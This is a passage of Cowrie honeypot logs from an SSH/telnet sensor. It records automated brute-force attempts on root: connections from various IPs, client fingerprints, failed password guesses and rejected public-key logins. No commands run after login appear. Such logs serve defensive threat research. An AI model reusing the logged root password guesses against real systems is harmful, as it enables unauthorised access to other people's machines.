f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:48.122348Z","src_ip":"163.227.230.54","session":"5e15f89f76da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zrway.com","message":"login attempt [root/zrway.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:49.119433Z","src_ip":"163.227.230.54","session":"5e15f89f76da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.75.242","src_port":47850,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe24bd040633","protocol":"ssh","message":"New connection: 115.178.75.242:47850 (159.203.135.109:22) [session: fe24bd040633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:49.710378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:49.714369Z","src_ip":"115.178.75.242","session":"fe24bd040633","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:49.891804Z","src_ip":"115.178.75.242","session":"fe24bd040633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:50.362664Z","src_ip":"163.227.230.54","session":"5e15f89f76da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gast","message":"login attempt [root/gast] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:50.632714Z","src_ip":"115.178.75.242","session":"fe24bd040633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:51.819458Z","src_ip":"115.178.75.242","session":"fe24bd040633","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.0.59","src_port":49894,"dst_ip":"159.203.135.109","dst_port":22,"session":"f14442d1c595","protocol":"ssh","message":"New connection: 43.153.0.59:49894 (159.203.135.109:22) [session: f14442d1c595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:55.675004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:55.680448Z","src_ip":"43.153.0.59","session":"f14442d1c595","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:55.748896Z","src_ip":"43.153.0.59","session":"f14442d1c595","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sulo","message":"login attempt [root/sulo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:56.056297Z","src_ip":"43.153.0.59","session":"f14442d1c595","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.84347057342529,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:56.582330Z","src_ip":"192.119.13.58","session":"8c8d087644eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:57.127001Z","src_ip":"43.153.0.59","session":"f14442d1c595","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.117.200","src_port":40556,"dst_ip":"159.203.135.109","dst_port":22,"session":"c455ead4308c","protocol":"ssh","message":"New connection: 119.28.117.200:40556 (159.203.135.109:22) [session: c455ead4308c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:59.589602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:59.593367Z","src_ip":"119.28.117.200","session":"c455ead4308c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":49366,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ca7139a6b2d","protocol":"ssh","message":"New connection: 103.27.238.116:49366 (159.203.135.109:22) [session: 3ca7139a6b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:59.753338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:59.758036Z","src_ip":"103.27.238.116","session":"3ca7139a6b2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:59.840800Z","src_ip":"119.28.117.200","session":"c455ead4308c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:00.038301Z","src_ip":"103.27.238.116","session":"3ca7139a6b2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Miller","message":"login attempt [root/Miller] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:00.856709Z","src_ip":"119.28.117.200","session":"c455ead4308c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dzxtckfd","message":"login attempt [root/dzxtckfd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:00.886974Z","src_ip":"103.27.238.116","session":"3ca7139a6b2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:02.105965Z","src_ip":"119.28.117.200","session":"c455ead4308c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.111.187.163","src_port":39344,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4092143ba0b","protocol":"ssh","message":"New connection: 86.111.187.163:39344 (10.17.0.5:22) [session: e4092143ba0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:02.169086Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:02.175201Z","src_ip":"103.27.238.116","session":"3ca7139a6b2d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:02.181875Z","src_ip":"86.111.187.163","session":"e4092143ba0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:02.257324Z","src_ip":"86.111.187.163","session":"e4092143ba0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:81:56:7c:ea:a6:6e:be:9a:26:8a:ec:82:30:ae:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDroGibBm7HYj25qVD+BYF+iEshirj0U3p0HSzYCRUXpdy0O3/dSPvyCNGXuDln2RNy6czmYJKRW+dG3uYO+6YkLhEGXQL5tBt2wchbsJ5hRo6ZS+dlJOuh+wF0WjhC3yslNozSOW49lsP0y4Aa/jV4SXKt22IKrkQlow72fsgNMqLBMzGL2BDgFh/R5JRnQ0QXPdiK6t97CT7VRaMw+Xck9EwHrlJQzZzdpnjuM8faV+frILBPf0pARrVur+R6BjdeZxTcIP//dChSMnkpa8dgtoqgyjGiLj5SITIqgbVcwwaaaaiPr2wlzfvHDEzipJtraJMIv1FsFPQEAjiGg4Jr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:81:56:7c:ea:a6:6e:be:9a:26:8a:ec:82:30:ae:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:02.586689Z","src_ip":"86.111.187.163","session":"e4092143ba0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:81:56:7c:ea:a6:6e:be:9a:26:8a:ec:82:30:ae:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDroGibBm7HYj25qVD+BYF+iEshirj0U3p0HSzYCRUXpdy0O3/dSPvyCNGXuDln2RNy6czmYJKRW+dG3uYO+6YkLhEGXQL5tBt2wchbsJ5hRo6ZS+dlJOuh+wF0WjhC3yslNozSOW49lsP0y4Aa/jV4SXKt22IKrkQlow72fsgNMqLBMzGL2BDgFh/R5JRnQ0QXPdiK6t97CT7VRaMw+Xck9EwHrlJQzZzdpnjuM8faV+frILBPf0pARrVur+R6BjdeZxTcIP//dChSMnkpa8dgtoqgyjGiLj5SITIqgbVcwwaaaaiPr2wlzfvHDEzipJtraJMIv1FsFPQEAjiGg4Jr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:02.591184Z","src_ip":"86.111.187.163","session":"e4092143ba0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:ee:d8:d2:88:92:f3:87:7e:69:80:32:7d:c3:79:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMcdIt48+Lt4WTuROHqkZ5Z+2xHOy4QCjJ8/G8U0fs/b8/jbiCyqdVN4QvJm6iD/3At4ncwUrYZSKMhLs5kmZsIk3ZNhKzEOyfdHJfdLVnOYUFOPcGpe28ZGOytycx3mGTFXq4rfClDj24ebAMYZQR7UDQP3HBhSaV8evCfDZGZmk5M7El4Hcx4Ulj0SKm5mEQK+4FlJWF+X9mfKK8yglH3VojU4Dm5bRlhu3o8DX1ewXQ7Jj85z8H1sbrIN6KQvTAzlwHREelHJioDH4DmfjKtoI3eun3QcpcL7X/Aw7MKXQ5DyI2/3szxb6aT+jaY2LujMBZ/8KpTBVy2NsLSHGvD6gByRBPWG2JZRTuzZ+nEmFPcUfLrXgKR+KbXjCpvSxuvDRrl5TNX9cCwi68s/V97UCwmC2QCVpZyZ2ClF7h66KJNbIAvPRAG698QkXqZQlOyMiAEMtFICgGRSwuUjq89j1KKf0Tz8yEPFGaaAQgMkxmkKeacGiT3k/8y/3pxXSiYvVG5ABl/FdsqyDlyM1S9eXmnku98bvW7RL7G1vGU+97/BSbpG5uUH+r3crw+8jPGanshPxS07xvF1aDwJi1Y5FySLJh7mMGbTRXLMvaXR0jvFLKUlpWsZfgoBzTqhu9LcwujXMwj8d4Y6Erg3vIOzCOP3HrQwG2VY10PAMmwQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:ee:d8:d2:88:92:f3:87:7e:69:80:32:7d:c3:79:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:02.662321Z","src_ip":"86.111.187.163","session":"e4092143ba0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:ee:d8:d2:88:92:f3:87:7e:69:80:32:7d:c3:79:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMcdIt48+Lt4WTuROHqkZ5Z+2xHOy4QCjJ8/G8U0fs/b8/jbiCyqdVN4QvJm6iD/3At4ncwUrYZSKMhLs5kmZsIk3ZNhKzEOyfdHJfdLVnOYUFOPcGpe28ZGOytycx3mGTFXq4rfClDj24ebAMYZQR7UDQP3HBhSaV8evCfDZGZmk5M7El4Hcx4Ulj0SKm5mEQK+4FlJWF+X9mfKK8yglH3VojU4Dm5bRlhu3o8DX1ewXQ7Jj85z8H1sbrIN6KQvTAzlwHREelHJioDH4DmfjKtoI3eun3QcpcL7X/Aw7MKXQ5DyI2/3szxb6aT+jaY2LujMBZ/8KpTBVy2NsLSHGvD6gByRBPWG2JZRTuzZ+nEmFPcUfLrXgKR+KbXjCpvSxuvDRrl5TNX9cCwi68s/V97UCwmC2QCVpZyZ2ClF7h66KJNbIAvPRAG698QkXqZQlOyMiAEMtFICgGRSwuUjq89j1KKf0Tz8yEPFGaaAQgMkxmkKeacGiT3k/8y/3pxXSiYvVG5ABl/FdsqyDlyM1S9eXmnku98bvW7RL7G1vGU+97/BSbpG5uUH+r3crw+8jPGanshPxS07xvF1aDwJi1Y5FySLJh7mMGbTRXLMvaXR0jvFLKUlpWsZfgoBzTqhu9LcwujXMwj8d4Y6Erg3vIOzCOP3HrQwG2VY10PAMmwQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:02.666742Z","src_ip":"86.111.187.163","session":"e4092143ba0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:04:65:e2:08:a5:a2:f0:c6:d7:93:66:19:8a:02:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDzXGaBIYF8kTbPa1aiTecQLlCMbMXNgnWWNiRGzMsp6iivt4GFkuPbrtgG6Rz7mNdPwsjc1j1Ti+jakDBh6NA5j5lDApUPzXNu3nAPEnEWaWRPAtML2aWXFYm4oVQsWL8krTqIbHlzzI4oEA7gra2mf9IfHrmGObFtCRVio2O6gcA8wZo3C6kRhhwuQDOGBOXrhkJvpSWUVe/DKB6E/rNKvyuKqoukPe6HDiiNIYLhLUTny1wxmP8ly1Kq7mSHcpNc4/WUKt0noFNqlwxe/ToCnZC/GTuzVvdxu15jzNsfViuIWesGRnZSqIOHzE3V35BR2/hUGcyMLBxAnC1TYcQt8OUv8UdoixNoS5h/TD4L8v45bTRYm3ow+kfpZx79ZkmglgT2+Af8Ux9rO2MxK3CWs7jFZXBwY1NTGWaO+zT5+1oOn+8W957fcs2d+IQxXeFJCRkbBy4uCAxWNc3GsA0o+eC9VpqE2oCLDqF19u1OVRN5iFwA24cK+FDs5COd8JLN9r3IkccSlPR6pxMHNowixwPWZ92puEPGQMD8fsHMyub4nZFSwhZiOLXzpXMzyfKBV4ZKQB+XOJ7q/m+jXKuarWVIxqLWpjflTEMlWl4jbg4YgQ59L3a55Lwk8PgZKvSP5GasRusnxE1qWqUP8y+24dS1KTS+lSqOCMo+pQzabQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:04:65:e2:08:a5:a2:f0:c6:d7:93:66:19:8a:02:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:02.739753Z","src_ip":"86.111.187.163","session":"e4092143ba0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:04:65:e2:08:a5:a2:f0:c6:d7:93:66:19:8a:02:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDzXGaBIYF8kTbPa1aiTecQLlCMbMXNgnWWNiRGzMsp6iivt4GFkuPbrtgG6Rz7mNdPwsjc1j1Ti+jakDBh6NA5j5lDApUPzXNu3nAPEnEWaWRPAtML2aWXFYm4oVQsWL8krTqIbHlzzI4oEA7gra2mf9IfHrmGObFtCRVio2O6gcA8wZo3C6kRhhwuQDOGBOXrhkJvpSWUVe/DKB6E/rNKvyuKqoukPe6HDiiNIYLhLUTny1wxmP8ly1Kq7mSHcpNc4/WUKt0noFNqlwxe/ToCnZC/GTuzVvdxu15jzNsfViuIWesGRnZSqIOHzE3V35BR2/hUGcyMLBxAnC1TYcQt8OUv8UdoixNoS5h/TD4L8v45bTRYm3ow+kfpZx79ZkmglgT2+Af8Ux9rO2MxK3CWs7jFZXBwY1NTGWaO+zT5+1oOn+8W957fcs2d+IQxXeFJCRkbBy4uCAxWNc3GsA0o+eC9VpqE2oCLDqF19u1OVRN5iFwA24cK+FDs5COd8JLN9r3IkccSlPR6pxMHNowixwPWZ92puEPGQMD8fsHMyub4nZFSwhZiOLXzpXMzyfKBV4ZKQB+XOJ7q/m+jXKuarWVIxqLWpjflTEMlWl4jbg4YgQ59L3a55Lwk8PgZKvSP5GasRusnxE1qWqUP8y+24dS1KTS+lSqOCMo+pQzabQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:02.748993Z","src_ip":"86.111.187.163","session":"e4092143ba0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:a9:7a:af:e2:02:8d:ed:cc:51:82:e1:2c:19:97:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZA6Womb5OeSEJW0KqGAajNE1yLQlDSdByOojwJ9qakMtaWPLR7MRYxqaiaZjsFADUzKpu8VRYtwjfWLo6aSe6HGnt/lxVTN95gPTKkMLFyQcw8RRkdPeABNGN4AumUo0/gT4x7Sf7G6Pi8MicMOEyZgXsk9zjxvtVpa5RexEEi/GDaBZ9LifCAGaeM2UYrSuOE4jrB7iC8QJ7a5GHEjgu3QGLU02VLx+5irCalyMTNdSRYcSyeNbTxrHkujQxirRbmMIYK17rEkCncQXSv1gZxEZFZBHc+veYQvBCvmL7BaWBmWGmetu9YanH/R5fadHXZlnWjR2yy7IOgxJ8iqiYdplIL/SV0jU7EpzmUVjSpK8L+MQCPYoP9PjFSl8bzGVLnE0JHcoB+/vecqK8prk2krr6KvvGpP94CHeT5E7bIFLNElDOKjcX+hJCiSdFEgEV/Tkh3Q7wFtrY65T1+5pVIb9IJa2GXRzcBzz76ANRRXjOKxe9WoPui5/WJ6m1BWuxVvcfeY4nlUX0teZej6VXuTPsQ4cjxi2i+FuTeju72Z44uBngmB2ZzrPo7Go+tpW1bufd0bFGjoersvHCkQADcssRdWqM7j+fEVv2OrpcY3B8r03FKLLsc84b1XQvwt69lCohK2P/BzvMoqymgJh99tNhLzg60gI9uHNpiAzzrw==","type":"ssh-rsa","message":"public key attempt for user root of 